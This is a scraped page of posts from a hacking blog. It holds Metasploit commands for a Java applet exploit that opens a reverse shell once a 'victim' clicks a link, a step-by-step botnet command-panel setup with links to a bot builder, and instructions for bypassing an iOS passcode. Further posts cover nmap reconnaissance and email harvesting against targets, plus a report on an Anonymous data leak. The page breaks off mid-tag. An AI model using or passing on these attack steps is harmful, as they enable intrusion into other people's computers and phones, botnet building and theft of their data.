Hack Remote P.C. using latest java vulnerability

<div dir="ltr" style="text-align: left;" trbidi="on"> <style type="text/css">P { margin-bottom: 0.08in; }A:link { }</style> <div style="margin-bottom: 0in;"><span style="font-size: medium;">JAVA APPLET JMX REMOTE CODE EXECUTION:-</span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-size: medium;">This vulnerability is exploited in February 2013.<span style="color: black;">Additionally, this module bypasses default security settings introduced in Java 7 Update 10 to run unsigned applet without displaying any warning to the user.</span></span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-size: medium;"><span style="color: black;">Any O.S. Which is running java 7 update 10 is exploitable. Just attacker require metasploit.</span></span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="font-size: medium;"><span style="color: black;">Open your terminal & type following code</span></span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="color: black;"><span style="font-size: medium;"><b>msfconsole</b></span></span></div><span style="color: black;"><span style="font-size: medium;"><b>use exploit/windows/browser/java_jre17_jmxbean_2</b></span></span><br /> <span style="color: black;"><span style="font-size: medium;"><b>msf exploit (<span style="color: maroon;">java_jre17_jmxbean_2</span>)>set payload java/shell_reverse_tcp</b></span></span><br /> <div align="JUSTIFY"><span style="color: black;"><span style="font-size: medium;"><b>msf exploit (<span style="color: maroon;">java_jre17_jmxbean_2</span>)>set lhost 192.168.1.7 (IP of Local Host)</b></span></span></div><div align="JUSTIFY"><span style="color: black;"><span style="font-size: medium;"><b>msf exploit (<span style="color: maroon;">java_jre17_jmxbean_2</span>)>set srvhost 192.168.1.7 (This must be an address on the local machine)</b></span></span></div><div align="JUSTIFY"><span style="color: black;"><span style="font-size: medium;"><b>msf exploit (<span style="color: maroon;">java_jre17_jmxbean_2</span>)>set uripath / (The Url to use for this exploit)</b></span></span></div><div align="JUSTIFY"><span style="color: black;"><span style="font-size: medium;"><b>msf exploit (<span style="color: maroon;">java_jre17_jmxbean_2</span>)>exploit</b></span></span></div><div style="margin-bottom: 0in;"><br /></div><span style="color: black;"><span style="font-size: medium;"><span style="font-weight: normal;">Now an URL you should give to your victim </span></span><strong><a href="http://192.168.1.7:8080/"><span style="font-size: medium;"><span style="font-weight: normal;">http://192.168.1.7:8080/</span></span></a></strong></span><br /> <div style="font-weight: normal; margin-bottom: 0in;"><span style="color: black;"><span style="font-size: medium;">Send link to victim. As soon as he clicked you got session. Type following command.</span></span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="color: black;"><span style="font-size: medium;"><b>Sessions -l</b></span></span></div><div style="margin-bottom: 0in;"><span style="color: black;"><span style="font-size: medium;"><b>sessions -i 1</b></span></span></div><div style="margin-bottom: 0in;"><br /></div><div style="font-weight: normal; margin-bottom: 0in;"><span style="color: black;"><span style="font-size: medium;">Now you get victim `s shell.</span></span></div><a name="more"></a><br /> </div>

Hack Remote P.C. using latest java vulnerability

JAVA APPLET JMX REMOTE CODE EXECUTION:- This vulnerability is exploited in February 2013. Additionally, this module bypasses def...

+ Read more »

How Hackers Make Botnets To Infect Systems [Part 1]

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="http://oi48.tinypic.com/286wpvq.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://oi48.tinypic.com/286wpvq.jpg" width="320" /></a></div><span style="color: #444444;">Today, I would tell you step by step on how you can setup your own botnet and start playing with it, Botnet could be used to perform wide variety of attacks including spreading malware, DDOS attacks mostly. One of the most famous <b>botnet</b> was "ZEUS" that was widely used to stealing credit cards information. This article has been divided into two parts where in the first part the i will show you how to setup a botnet and in the second part, i will show you what can be done with the "Botnet". </span><br /><span style="color: #444444;"><br /></span><span style="color: #444444;"><b>Part2 Published: <a href="http://www.rafayhackingarticles.net/2013/03/how-to-setup-botnet.html" target="_blank">How To Setup Botnet Part 2</a></b></span><br /><a name="more"></a><br /><span style="color: #444444;"><b>P.s: RHA is not responsible for any kind of lose or damage. </b></span><br /><span style="color: #444444;"><b><br /></b></span><span style="color: #444444;"><b>Requirements:</b></span><br /><span style="color: #444444;"><br /></span><span style="color: #444444;"><b> ¡</b></span><span style="color: #444444;"><b>)</b> Cpanel to host Botnet server</span><br /><span style="color: #444444;"><b><br /></b></span><span style="color: #444444;"><b>¡¡)</b> Webpanel, which will be upload in Cpanel: </span><br /><br /><a href="http://www.mediafire.com/?890xv4f5dddjkx5" rel="nofollow" target="_blank">http://www.mediafire.com/?890xv4f5dddjkx5</a><br /><span style="color: #444444;"><b><br /> ¡¡¡)</b> Bot Builder, which you will use to create Botnet : </span><br /><br /><span style="color: #444444;"><a href="http://www.mediafire.com/?hb9ou6g50a620nb" rel="nofollow" target="_blank">http://www.mediafire.com/?hb9ou6g50a620nb</a></span><br /><h4><span style="color: #444444;"> Step 1: </span></h4><span style="color: #444444;">In the very first step you have to host the botnet server on Cpanel where you'll receive victims details, Now start with uploading files in cpanel. Upload the web panel folder as it is (zip form) in Cpanel, and than extract it. </span><br /><h4><span style="color: #444444;">Step 2: </span></h4><span style="color: #444444;">Go back to cpanel home and proceed to Database section, And select My SQL database Wizard</span><br /><span style="color: #444444;"><br /></span><br /><div class="separator" style="clear: both; text-align: center;"><span style="color: #444444;"><a href="http://oi48.tinypic.com/m8378h.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://oi48.tinypic.com/m8378h.jpg" /></a></span></div><br /><h4><span style="color: #444444;">Step 3: </span></h4><span style="color: #444444;">Create a New database, With any name like</span><br /><span style="color: #444444;"><a href="http://oi48.tinypic.com/10n7p6b.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://oi48.tinypic.com/10n7p6b.jpg" /></a> </span><br /><h4><span style="color: #444444;">Step 4: </span></h4><span style="color: #444444;">Let's Proceed to Next Step, Where you have to set Database's Username and Password. </span><br /><span style="color: #444444;"><br /></span><br /><div class="separator" style="clear: both; text-align: center;"><span style="color: #444444;"><a href="http://oi48.tinypic.com/wiv9ep.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://oi48.tinypic.com/wiv9ep.jpg" /></a></span></div><h4><span style="color: #444444;">Step 5: </span></h4><span style="color: #444444;">Click on create user, and then check on <b>ALL PRIVILEGES</b> box. Then proceed to next button. </span><br /><span style="color: #444444;">Step 6: Now you have successfully created the database, Return to Cpanel Home and database section, Now select <b>PHPMYADMIN </b></span><br /><span style="color: #444444;"><br /></span><br /><div class="separator" style="clear: both; text-align: center;"><span style="color: #444444;"><a href="http://oi50.tinypic.com/se93cj.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://oi50.tinypic.com/se93cj.jpg" /></a></span></div><h4><span style="color: #444444;">Step 6: </span></h4><span style="color: #444444;">Now in the left column you'll find the database which you've created </span><br /><div class="separator" style="clear: both; text-align: center;"><span style="color: #444444;"><a href="http://oi49.tinypic.com/kanrd5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://oi49.tinypic.com/kanrd5.jpg" /></a></span></div><h4><span style="color: #444444;">Step 7: </span></h4><span style="color: #444444;"><span style="color: #444444;">Click on the database, A new page will appear, Find SQL tab in the top, Go in SQL tab You'll find page like image mention below:  </span></span><br /><span style="color: #444444;"><span style="color: #444444;"><br /></span></span><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://oi49.tinypic.com/5y9mkn.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="185" src="http://oi49.tinypic.com/5y9mkn.jpg" width="400" /></a></div><span style="color: #444444;"></span> <br /><span style="color: #444444;"> </span><span style="color: #444444;"> </span><br /><h4><span style="color: #444444;">Step 8:</span></h4><span style="color: #444444;"> Extract webpanel.zip in your computer and you'll find SQL folder in that open the folder their will a file name vertexnet.sql, Open that file in notepad copy all data and paste it in phpmyadmin, As shown in the image:</span><br /><br /><div class="separator" style="clear: both; text-align: center;"><span style="color: #444444;"><a href="http://oi48.tinypic.com/fas936.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="121" src="http://oi48.tinypic.com/fas936.jpg" width="400" /></a></span></div><br /><h4><span style="color: #444444;">Step 9:</span></h4><span style="color: #444444;">Now click on the GO button. </span><br /><span style="color: #444444;"><br /></span><span style="color: #444444;">Go back to<b> Cpanel home</b>, </span><br /><span style="color: #444444;"><br /></span><span style="color: #444444;">Click on <b>file manager</b> then go in <b>Web panel folder</b>, find a folder named inc, go in that folder, </span><br /><span style="color: #444444;"><br /></span><span style="color: #444444;">You'll find a file named with <b>connection.inc.php</b>, Click right click and edit the file, Now their You have to replace <b>'vertex'</b> with the database you created, 'root' with the username and password you assigned for database, As shown in the image </span><br /><span style="color: #444444;"><br /></span><br /><div class="separator" style="clear: both; text-align: center;"><span style="color: #444444;"><img border="0" height="81" src="http://i47.tinypic.com/16kdtf4.png" width="400" /></span></div><br /><span style="color: #444444;">Now you are done with creating crap! </span><br /><h4><span style="color: #444444;">Step 10: </span></h4><span style="color: #444444;">Now open the web folder in url along the site name . You'll find a login page like this:</span><br /><span style="color: #444444;"><br /></span><br /><div class="separator" style="clear: both; text-align: center;"><span style="color: #444444;"><a href="http://oi48.tinypic.com/2dhtoi9.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="135" src="http://oi48.tinypic.com/2dhtoi9.jpg" width="400" /></a></span></div><br />If this login page appearing than BINGO soldier you have made it :) <br /><h4>Step 11: </h4>Login with following credentials <br /><br /><b><i>Username: root </i></b><br /><b><i>Password: toor </i></b><br /><b><i><br /></i></b>Now you are logged in the server where all you bot victims details will be shown. <br /><br />This was the tutorial to set up the server, Now in the next tutorial we RHA will teach you to make botnet.<b><br /></b><b>About The Author</b><br /><b><br /></b>This article has been written by <b>Fahad awan</b>, Who has recently joined RHA's team, We wish him best of luck and hope that he enjoys working for <a href="http://rafayhackingarticles.net/" target="_blank">RHA</a>. </div>

How Hackers Make Botnets To Infect Systems [Part 1]

Today, I would tell you step by step on how you can setup your own botnet and start playing with it, Botnet could be used to perform wide ...

+ Read more »

Anonymous Hacks Bank Of America

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAjeqPpZarHPzPkMAxp23UXjNet3lKEhkdoDtqYjqw1c4ERDw_qDXL5-7-95m1bTWshAW6Ut5QeamFOoJ74EKbiMNfFPm5uSPC9q0BqMPqll-b6zxXJ287lpkdshJM5oHqctknD70eUp0/s1600/topics_bankamerica_395.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="355" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAjeqPpZarHPzPkMAxp23UXjNet3lKEhkdoDtqYjqw1c4ERDw_qDXL5-7-95m1bTWshAW6Ut5QeamFOoJ74EKbiMNfFPm5uSPC9q0BqMPqll-b6zxXJ287lpkdshJM5oHqctknD70eUp0/s640/topics_bankamerica_395.jpg" width="640" /></a></div><div><br /></div><div>Anonymous has gained a lot of stardom (good and bad) by crashing websites and hacking government servers. Anonymous usually come in handy when a particular person/s come together to raise a voice against certain injustices. If you take an example, Julian Assange from WikiLeaks would be the best one.<br /><a name="more"></a></div><div><br /></div><div>Anonymous has risen up against the system many a times. From defending the people of Gaza to the victims of brutality, Anonymous has never turned a blind eye to transgression and oppression no matter where it is occurring and by whom. But this time, Anonymous is back to settle a personal vendetta against their rival, the Bank of America.</div><div><br /></div><div>They began posting "teasers" claiming that there has been a breach in the network of the Bank of America. The teasers began on the 25th of February on Anonymous' twitter account, @AnonymousIRC with the first tweet being "if you spy on us, we spy on you". Very James Bond, don't you think? Then there came a 14 gigabyte hurricane which brought with it private emails, spreadsheets and OneCalais (a text analysis and data mining program).</div><div><br /></div><div>Leaked emails were sent by employees of <b><a href="http://www.teksystems.com/" rel="nofollow" target="_blank">TEKsystems</a></b> which seems to be a staffing company for Cyber Threat Intelligence Analysts. TEKsystems, we assume, was hired by Bank of America. These analysts all had @bankofamerica.com email addresses while filing their reports. These reports consisted of details of online movements of activists such as Anonymous and Occupy Wall Street. And that is what spurred curiosity in our beloved hacktivists. Unlike cats, Anonymous can actually do something about their untamed curiosity!</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWtjOFdILvVz18qQiDQdL0kr7aOLt11IKDCewHw9WviNvxUtdS7aDyg-NTKgj-exma17NaiWrN0rEEHF8fL9S0cNLZpdn_um0KwgHw69J1J3CA7tOV5z4TlXRi4M-3dv10VgDgilFZ9yw/s1600/NewTEKlogo2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="172" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWtjOFdILvVz18qQiDQdL0kr7aOLt11IKDCewHw9WviNvxUtdS7aDyg-NTKgj-exma17NaiWrN0rEEHF8fL9S0cNLZpdn_um0KwgHw69J1J3CA7tOV5z4TlXRi4M-3dv10VgDgilFZ9yw/s320/NewTEKlogo2.jpg" width="320" /></a></div><div><br /></div><div>One of the emails talks about IRC chat users discussing a list of companies that have given their support to the "Stop Online Piracy" Act available on the US House of Representatives website.</div><div><br /></div><div><br /></div><div><a href="http://pastebin.com/Dps23mzq" rel="nofollow" target="_blank"><b>Email 1</b></a>: One of the users states on IRC;</div><div><span style="background-color: white; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px; text-align: -webkit-auto;"><br /></span></div><blockquote class="tr_bq"><span style="background-color: white; line-height: 21px; text-align: -webkit-auto;"><span style="font-family: inherit;"><badgerfem> Do these organizations know what they have started?</span></span><span style="background-color: white; line-height: 21px; text-align: -webkit-auto;"><span style="font-family: inherit;"><br /></span></span><span style="background-color: white; line-height: 21px; text-align: -webkit-auto;"><span style="font-family: inherit;"><badgerfem> Follow the money</span></span></blockquote><div><br /></div><div>This has been mentioned in the email from the security analyst to Bank of America, who also writes that: </div><div><span style="background-color: white;"><br /></span></div><blockquote class="tr_bq"><span style="background-color: white;">Included among those named are two of our critical suppliers: </span><span style="background-color: white;">MasterCard Worldwide and Visa, Inc. This has been the only mention of </span><span style="background-color: white;">this document at this time, and it has not hit twitter as of yet.  EWT </span><span style="background-color: white;">will continue to monitor for any further developments. Ends.</span></blockquote><div><br /></div><div><a href="http://par-anoia.net/assessment/us/bofa/allTexts/emails/06.%2010_23_2012%20-%20EWT%20End%20of%20Shift%20Report%20230700-1700ESTOCT12.txt" rel="nofollow" target="_blank"><b>Email 2</b></a>: Security Analyst allegedly identifies the real owner of an Anonymous Twitter account @Anonymousown3r. The Analyst discusses his IP address, this identity and claims that the IP address is based in Brazil.</div><div><br /></div><div><b><a href="http://pastebin.com/K3yjycZY" rel="nofollow" target="_blank">Email 3</a></b>: Security Analyst discusses Twitter accounts @DestructiveSec and @TeaMp0is0n and their personal conflict. The Analyst further states;</div><div><br /></div><blockquote class="tr_bq"><span style="background-color: white; line-height: 21px; text-align: -webkit-auto;"><span style="font-family: inherit;">TeaMp0is0N is claiming victory over the feud between the two groups and has provided a d0x of DestrutivSec in the form of a passport photo (see below) with comments:  Yes!  Submit them!  Also, report to the feds.  Get em arrested as well #RunRabbitRun.</span></span></blockquote><div><span style="background-color: white; line-height: 21px; text-align: -webkit-auto;"><span style="font-family: inherit;"><br /></span></span></div><div><span style="background-color: white; line-height: 21px; text-align: -webkit-auto;"><span style="font-family: inherit;">These emails consist of everything from legitimate threats to Bank of America such as DDoS attacks and databases of stolen credit card numbers to live protests which were to be taken place at the actual site of Bank of America.</span></span></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div><span style="background-color: white; line-height: 21px; text-align: -webkit-auto;"><span style="font-family: inherit;">The responsibility for the attack was claimed by "<a href="http://par-anoia.net/" rel="nofollow" target="_blank"><b>Par:AnoIA</b></a>"who say that they did not hack any information at all and the information was on an unprotected server accessible to anyone who knew where to look. Par:AnoIA say that the information had been provided to them by their sources and they had spread it intentionally.</span></span></div><div><span style="background-color: white; line-height: 21px; text-align: -webkit-auto;"><span style="font-family: inherit;"><br /></span></span></div><div style="text-align: -webkit-auto;"><span style="line-height: 21px;">According to Par:AnoIA;</span></div><div style="text-align: -webkit-auto;"><span style="color: #42423b; font-family: arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;"><br /></span></div><blockquote class="tr_bq"><span style="line-height: 19px;"><span style="font-family: inherit;">It’s amazing to learn that there are paid analysts actually reading public chat rooms. We were quite aware of the fact that Anonymous are likely monitored, but we were thinking more along the lines of automatic logging. The data not only shows that there were actual people monitoring the channels (and Twitter) 24/7, but they send shift reports to Bank of America with their findings.</span></span></blockquote><br /><div style="text-align: -webkit-auto;"><span style="line-height: 21px;">When asked about the list of <a href="http://par-anoia.net/assessment/us/bofa/keywords.txt" rel="nofollow" target="_blank"><b>keywords</b></a> included in the data release Par:AnoIA said;</span></div><div style="text-align: -webkit-auto;"><span style="line-height: 21px;"><br /></span></div><div><blockquote class="tr_bq"><span style="font-family: inherit;">The keyword list is just ridiculous. It has become a running joke to use the keywords in every sentence now, rendering it useless.</span></blockquote><div style="color: #42423b; line-height: 19px; margin-bottom: 14px; padding: 0px; text-align: -webkit-auto;"><span style="font-family: inherit;">OneCalais, the text-analyzing software, belong to a company that goes by the name of ClearForest in Israel. Par:AnoIA has stated in their <b><a href="http://par-anoia.net/assessment/us/bofa/bofa-press-release.pdf" rel="nofollow" target="_blank">press release</a></b> that they have extracted 4.8 gigabytes of information from the server which also includes detailed career and salary information of executives and employees from various corporations.</span></div><div style="color: #42423b; line-height: 19px; margin-bottom: 14px; padding: 0px; text-align: -webkit-auto;">As far as Bank of America is concerned, they have not admitted that the data released by Anonymous belongs to them nor that they have any connections with TEKsystems. They do, however, <b><a href="http://www.pcadvisor.co.uk/news/security/3428949/bank-of-america-says-data-breach-occured-at-other-company/" rel="nofollow" target="_blank">state that their own internal systems were not compromised</a>.</b></div><div style="line-height: 19px; margin-bottom: 14px; padding: 0px; text-align: -webkit-auto;">Cheers!</div><div style="line-height: 19px; margin-bottom: 14px; padding: 0px; text-align: -webkit-auto;"><b>About the Author:</b></div><div style="line-height: 19px; margin-bottom: 14px; padding: 0px; text-align: -webkit-auto;">This article has been written by Dr. Sindhia Javed Junejo. She is one of the core members of RHA team.</div></div></div>

Anonymous Hacks Bank Of America

Anonymous has gained a lot of stardom (good and bad) by crashing websites and hacking government servers. Anonymous usually come in handy wh...

+ Read more »

How To Dodge iOS 6.1.2 Passcode - Vulnerability Exploited And Explained

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvUK1UM5cfc1wOfBBhK4Ki9Nvl2cy_RR0_K21aH-NVy-lIlUzMvvuGbmG998SuvX_ewbzgY06Y_RtniVWf0VzDIUzLJyNnlLRsMpmpJZiqP_xviVHgSxUjRHia-Zpq8N0Mk6KoA7Bf3Ts/s1600/gadget-iPhone-security.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="344" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvUK1UM5cfc1wOfBBhK4Ki9Nvl2cy_RR0_K21aH-NVy-lIlUzMvvuGbmG998SuvX_ewbzgY06Y_RtniVWf0VzDIUzLJyNnlLRsMpmpJZiqP_xviVHgSxUjRHia-Zpq8N0Mk6KoA7Bf3Ts/s400/gadget-iPhone-security.gif" width="400" /></a></div><br />Apple has been a bit bitter past a few of its iOS releases making it that much easier for iOS device users to spit out what they chew. After the release of iOS 6.1.2, we imagined Apple to have gotten on its high horse to resolve security issues that haunted iOS 6.1. Unfortunately, our dreams remain shattered. Apple has been unable to fix 3G connectivity and Exchange Calendar bugs in iOS 6.<br /><br /><a name="more"></a><br />It seems like hackers have been able to by-pass iOS's security code once again. Founder and CEO of Vulnerability Lab, Benjamin Kunz Mejri, has described the two exploits discovered in full, giving us a tutorial on how to use them for our own benefit.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCg6Saboq47wbn-h5kmn-zqauCajFNk56j23-zLVa4xu4nCW4ooPWI3868T14q-X3lNnF5rw7Dcr1h6nENS2oVzUsHU34v-coOwS3ufoJekF20FG_TMvBQUcBC7_5dhsKYkxjprm2qCwM/s1600/passcode-320x480.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCg6Saboq47wbn-h5kmn-zqauCajFNk56j23-zLVa4xu4nCW4ooPWI3868T14q-X3lNnF5rw7Dcr1h6nENS2oVzUsHU34v-coOwS3ufoJekF20FG_TMvBQUcBC7_5dhsKYkxjprm2qCwM/s400/passcode-320x480.png" width="266" /></a></div><br /><a href="http://www.vulnerability-lab.com/" rel="nofollow" style="font-weight: bold;" target="_blank">Vulnerability Lab</a><b>'s </b>Benjamin Kunz Mejri posts:<br /><br /><br /><blockquote class="tr_bq"><i><tt style="background-color: transparent; border: 0px; font-size: 14px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;">A code lock bypass vulnerability via iOS as glitch is detected in the official Apple iOS v6.1 (10B143) for iPad & iPhone. </span></tt><tt style="background-color: transparent; border: 0px; font-size: 14px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;">The vulnerability allows an attacker with physical access to bypass via a glitch in the iOS kernel the main device code lock (auth). </span></tt><tt style="background-color: transparent; border: 0px; font-size: 14px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;">The vulnerability is located in the main login module of the mobile iOS device (iphone or ipad) when processing to use the screenshot function in combination with the emegerncy call and power (standby) button. The vulnerability allows the local attacker to bypass the code lock in iTunes and via USB when a black screen bug occurs. </span></tt><tt style="background-color: transparent; border: 0px; font-size: 14px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;">The vulnerability can be exploited by local attackers with physical device access without privileged iOS account or required user interaction. </span></tt><tt style="background-color: transparent; border: 0px; font-size: 14px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="font-family: Arial, Helvetica, sans-serif;">Successful exploitation of the vulnerability results in unauthorized device access and information disclosure.</span></tt></i></blockquote><div style="background-color: white; border: 0px; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 15px; margin-bottom: 10px; padding: 0px; text-align: -webkit-auto; vertical-align: baseline;"><tt style="background-color: transparent; border: 0px; font-family: courier, monospace; font-size: 14px; margin: 0px; padding: 0px; vertical-align: baseline;"><br /></tt></div><br />For starters, you will be using the Emergency Call feature, the lock/sleep button and the screenshot feature. This will help you to by-pass the security code needed to access information on an iDevice.<br /><br />In the first exploit, the hacker can penetrate the iDevice while placing the emergency call, cancelling the call while holding the lock/sleep button and bang! That's it. The hacker will be able to access the iDevice without the security code.<br /><br />In the second exploit, the hacker needs to make the iPhone screen go black in order for him/her to plug in the iDevice into a computer through USB and access the phone without the PIN or security code.<br /><br /><b>You can by-pass iPhone, iPad or iPod's security by following the steps given below:</b><br /><br />1. Make sure the code lock is activated.<br /><br />2. Switch your device on by pressing the power button (top right).<br /><br />3. The iDevice will come to life and the passcode lock will be visible on the screen.<br /><br />4. Click on the Emergency Call.<br /><br />5. Dial any random Emergency number such as 911 and hit call.<br /><br />6. Disconnect the call immediately after so that the network does not connect to your dialled number.<br /><br />7. Press power button and then the home button on your device.<br /><br />8. Now, push the power button for three seconds, immediately followed by the home button and the emergency call button all at the same instance (without removing your finger off the other).<br /><br />9. Take your finger of the home button first and then the power button.<br /><br />10. The iDevice's screen, at this moment, will be black.<br /><br />11. Connect your iDevice with you computer with a USB in this mode.<br /><br />12. You will now have access to all files available in the system.<br /><br />However, this method has its limitations too and we request our readers to attempt the above hack at their own risk and for their own knowledge.<br /><br />If you have lost your iPhone, iPod or iPad, we would advice you to use the remote wipe-out feature to erase all your personal data from the iDevice before it gets into wrong hands.<br /><br />Cheers!<br /><div class="separator" style="clear: both; text-align: center;"><br /></div><b>About the Author:</b><br />This article has been written by Dr. Sindhia Javed Junejo. She is one of the core members of RHA team.</div>

How To Dodge iOS 6.1.2 Passcode - Vulnerability Exploited And Explained

Apple has been a bit bitter past a few of its iOS releases making it that much easier for iOS device users to spit out what they chew. After...

+ Read more »

Use NMAP as a Information gathering tool

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"></div><span style="font-family: 'Bitstream Charter', serif; font-size: medium;">Usually we use NMAP as a port scanner to find open port of web-server, But with help of this Tool we can also gather Information about victim using NMAP script. In this tutorial we use NMAP to gather information.</span><br /><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(1) Use NMAP to determine I.P. Address of victim:- NMAP include two scripts in his database.</span></span></span></div><div style="margin-bottom: 0in;"><span style="color: black;"><b> <span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">nmap --script ip-geolocation-* host-name</span></span></b></span><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjes3iibx9qt9jOEWiQKQKGTJNYROrWJWnM06khxCYS8L2UBmdpSXiYDqHhNk0d_WVK4jQ015tBQ-DNTnOGwvyQt2L5R-kifqMpMOHXMB422HG9m8jf-HroQpQ0XB_SJZevYAm-dqmzYZZn/s1600/Information+_gathering+using+NMAP.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="nmap-as-information-gather" border="0" height="198" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjes3iibx9qt9jOEWiQKQKGTJNYROrWJWnM06khxCYS8L2UBmdpSXiYDqHhNk0d_WVK4jQ015tBQ-DNTnOGwvyQt2L5R-kifqMpMOHXMB422HG9m8jf-HroQpQ0XB_SJZevYAm-dqmzYZZn/s320/Information+_gathering+using+NMAP.jpeg" title="nmap-as-information-gather-5" width="320" /></a></div><div style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span></div><div style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">As we can see that it show co-ordinate & location of our target.</span></span></span></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(2)Use NMAP as Whois Tool:- Following Command is used to find whois information about victim</span></span></span></div><div style="margin-bottom: 0in;"><span style="color: black;"><b> <span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">nmap --script whois host-name</span></span></b></span><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgK-1KPSQdJDG1IiJniF0AhAHL6IBvsSGvjKIgYWNQzwGduENsQNTfW_3YVprrVNiGfPFQWnEu13KXOugeqT09nQei3ovv8Q2UjgpqZrRK5fPNZUcqyt_gouORe1X1bHeufTVzmndVQVfun/s1600/webaddress+of+website2.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="nmap-as-information-gather" border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgK-1KPSQdJDG1IiJniF0AhAHL6IBvsSGvjKIgYWNQzwGduENsQNTfW_3YVprrVNiGfPFQWnEu13KXOugeqT09nQei3ovv8Q2UjgpqZrRK5fPNZUcqyt_gouORe1X1bHeufTVzmndVQVfun/s320/webaddress+of+website2.jpeg" title="nmap-as-information-gather-4" width="320" /></a></div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"></span></span></span><br /><a name="more"></a><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /></span></span></span></div><div style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">(3)Use NMAP for Email Harvesting:- There are two script for email harvesting.</span></span></span></div><div style="margin-bottom: 0in;"><br /></div><ul><li><div style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Http-google-email</span></span></span></div></li><li><div style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">http-email-harvesting</span></span></span></div></li></ul><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitVBjYDsQ4yazLws2tgg7a9f7IZoQZfMko8XE-gkTLskip-SNW2uW9Jc9loLx4cM-_bP8H_dhfa3sFczsgo5QuktSGQoBFYhpYLPSEZ11I0iTPHQGJxN-GaZPsUYNdq2tSUwSYuv1dROoQ/s1600/information_gatherin.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="nmap-as-information-gather" border="0" height="132" 